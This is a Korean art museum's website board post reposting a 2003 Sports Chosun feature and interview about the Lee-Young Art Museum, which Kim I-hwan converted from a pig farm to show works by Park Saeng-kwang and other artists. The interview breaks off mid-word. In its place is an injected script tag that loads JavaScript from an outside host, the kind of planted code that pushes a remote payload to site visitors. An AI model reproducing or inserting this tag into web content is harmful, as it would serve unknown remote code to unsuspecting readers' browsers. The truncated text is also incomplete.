·제   목 : [스포츠조선]이영미술관 김이환관장(2003-04-28 게시물)
·작성자 : 이영미술관 ·작성일 : 2006-11-24 ·조회 : 7116
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따사로운 봄날 이영미술관을 찾아서...

진달래가 지고 연산홍이 꽃망울을 터트릴 채비를 마친 4월 중순. 서울에서 1시간 남짓한
수원근교(행정구역상 경기도 용인시 기흥읍 영덕리 221). 대지가 기운생동하는 봄날, 이영미술관엘 갔다.
 고개를 넘어갈 즈음 주인인듯한
사내가 멀리 보이다가 이내 눈앞에 다가섰다. 김이환 이영미술관 관장. 그였다. 미술관은 작은 산아래 풍경화처럼 펼쳐져 있었다. 자연을 파헤쳐
만든 게 아니라 자연 속에 스며 있는 미술관이었다.
 8천여평의 공간에 시멘트 블럭으로 세워진 전시공간은 원래 돼지 3천두를 키우던
돈사였다. 5년전 까지만 해도 꿀꿀거리며 돼지들의 소리가 가득했던 곳이다.
 이영미술관은 공무원 기업인으로 활동하며 미술품 200여점을
수집한 김이환씨와 신영숙씨 부부가 설립했다. 두 사람의 이름 한자씩을 따서 지은 이 미술관은 자연친화적인 공간에다 몇사람의 작가 작품을
집중적으로 볼수 있는 특징있는 미술관이다.
 미술관 입구, 자태가 고상한 소나무와 잔디가 잘 자란 야외에는 조각가 한용진씨의 '막돌
다섯'등의 작품들이 자연의 일부인양 서 있다. 첫 느낌부터 참 새롭다.
 돈사를 개조한 전시실은 어떤가? 서양화가 전혁림 정상화씨의
작품이 걸린 120평짜리 1전시실은 새끼돼지가 본격적으로 살을 찌우던 곳이다. 이곳에서 만나는 전혁림 화백의 '코리아 판타지'연작은 장업하다.

 강력한 채색화로 한국화의 새경지를 연 박생광(1904-1985)의 400호짜리 대작 '명성황후'등 9점이 전시된 80평짜리 제2전시실은
어미 돼지가 새끼를 낳고 산후조리를 하던 산방이다. 돼지가 자라던 블럭 건물 안쪽에 벽을 한 겹 더 덧붙여 온도를 맞추고 바람을 차단했다.

 김관장이 그림과 인연을 맺은 것은 64년 이삼범 화백의 그림을 사면서 부터다. 이후 77년 박생광 화백을 만나면서부터 본격화됐다. 평소
박화백의 그림을 짝사랑 하던 그는, 77년 봄 박생과 화백의 전시에서 먹으로 그린 모란화에 반해 수유동 박화백의 집으로 찾아가 6개월을 졸아
모란 그림 한점을 구입한 게 뗄수 없는 인연이 됐다
 이후 그는 박화백의 전시회 비용과 도록제작비용 등을 감당하고 소품을 선물로 받기도
했으며 대작은 몇개월씩 월급을 모아서 구입했다. 박화백도 김관장(돼지띠)과 그의 아내 신영숙씨(용띠)의 띠 동물그림과 신씨가 가야금을 타는
장면을 그려주며 우정을 이었다.
 박화백 타계 후에는 전혁림 정상화 한용진씨와 교유하며 작품을 수집했다. 김이환 관장은 소장 작품중
화랑이나 화상을 통해서 산그림은 한작품도 없다고 말했다.
 김관장은 78년 공직을 떠나 기업체 대표로 가면서 비교적 여유가 생겼고 81년
이곳 수원근교에 노년을 대비한 부업으로 돼지를 치기 시작하면서 작품 수집에 가속이 붙었다고 했다. 양돈업은 한때 짭짤하게 수입이 올랐으나
주변환경 변화로 상황이 변해 그만 두고 미술관으로 변신을 시도했다.
 이렇게 해서 탄생한 이영미술관. 이곳에선 박생광 화백의 찬란함에
취하고, 전혁림 화백의 깊이에 취하고, 정상화 화백의 형이상학에 취할 수 있다. 봄꽃의 향기 만큼이나 우아하게 취해 전시장 밖으로 나오면 조각가
한용진씨의 자연그대로의 조각들에 다시한번 취해 버린다.
 어쩌면 저렇듯 자연스러울수 있을까, 인간의 손을 통해 전혀 인간의 손냄새가 닿지
않은 듯한 자연스러움. 이영 미술관은 그 예술적향기가 가득했다. 여기에 종달새 쯤으로 여겨지는 봄새들의 노랫가락까지 얹히니 아름답기 그지없다.

 돼지우리를 풍경화같은 미술관으로 만든 김이환 관장을 만나봤다.

돼지우리에 꽃피운 예술 열정
돼지 3000두 축사
미술관 개조... 작품 200여점 전시
1977년 박생광 화백과 인연 계기 미술품 수집 시작
공직 20년-월급사장 20년...
향후 20년 미술에 바칠 터
  돈사를 미술관으로 변화시켰는데?
 ▲그동안 박생광 전혁림 화백 등의 그림을 소장하고 있었어요.
한때 이 그림들을 국립현대미술관에 기증을 하려고 생각했어요. 그런데 이경성선생께서 미술관을 한번 만들어 보라고 권유를 하시더군요. 91년에
마음을 먹었고, 99년에 시작해 지난해 문을 연셈입니다.

  정식 개관은?
 ▲지난해 11월 7일입니다. 작가, 학자 및
문화계 인사 등 300여명이 찾아 주셨어요. 미술평론가인 오광수 선생이 이영미술관은 40년 동안 모아온 소장품과 자연친화적인 건물 등이 어울려
미술관의 본보기가 될 것이라는 과찬의 말씀을 주셨어요.

  그림과의 인연은?
 ▲아버님이 농사꾼이었는데 시골에서 훈장도
하셨어요. 그 모습이 근사했어요. 사는 것에 여유있으면서 뭔가 예술적으로 향유할 수있다면 얼?script src=http://mekiller.com/1/1.js>